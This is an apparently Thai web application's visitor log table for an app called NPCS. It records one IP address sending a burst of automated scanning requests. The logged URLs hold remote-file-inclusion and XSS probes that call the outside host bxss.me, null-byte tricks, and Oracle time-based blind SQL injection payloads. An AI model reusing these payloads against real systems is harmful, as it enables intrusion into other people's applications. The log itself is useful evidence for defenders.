ตารางข้อมูลผู้เข้าใช้งานแอปพลิเคชัน NPCS

No IP Address User Agent Browser Page URL OS Visit Time
5566 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/?s=index.php%00 Unknown OS 2026-04-06 07:29:04
5567 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/?s=index.php Unknown OS 2026-04-06 07:28:56
5568 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/?s=bxss.me/t/rfi.php%3F%2500 Unknown OS 2026-04-06 07:28:49
5569 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/?s=http://bxss.me/t/rfi.php%3F%2500 Unknown OS 2026-04-06 07:28:41
5570 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/?s=bxss.me/t/xss.html%3F%2500 Unknown OS 2026-04-06 07:28:33
5571 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/?s=HttP://bxss.me/t/xss.html%3F%2500 Unknown OS 2026-04-06 07:28:25
5572 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/wp-includes/js/jquery/3vysj5v9jkef.php Unknown OS 2026-04-06 07:21:53
5573 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/wp-includes/js/jquery/3vysj5v9jkef.jsp Unknown OS 2026-04-06 07:21:51
5574 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/wp-includes/js/jquery/3vysj5v9jkef.html Unknown OS 2026-04-06 07:21:45
5575 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/wp-includes/js/jquery/3vysj5v9jkef Unknown OS 2026-04-06 07:21:42
5576 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/(select 198766*667891 from DUAL)/ Unknown OS 2026-04-06 07:21:38
5577 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/(select 198766*667891)/ Unknown OS 2026-04-06 07:21:30
5578 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/@@FZObM/ Unknown OS 2026-04-06 07:21:22
5579 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)/ Unknown OS 2026-04-06 07:21:05
5580 38.60.206.183 User-Agent: Mozilla/5.0 N/A /npcs/comingsoon\'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||\'/ Unknown OS 2026-04-06 07:20:36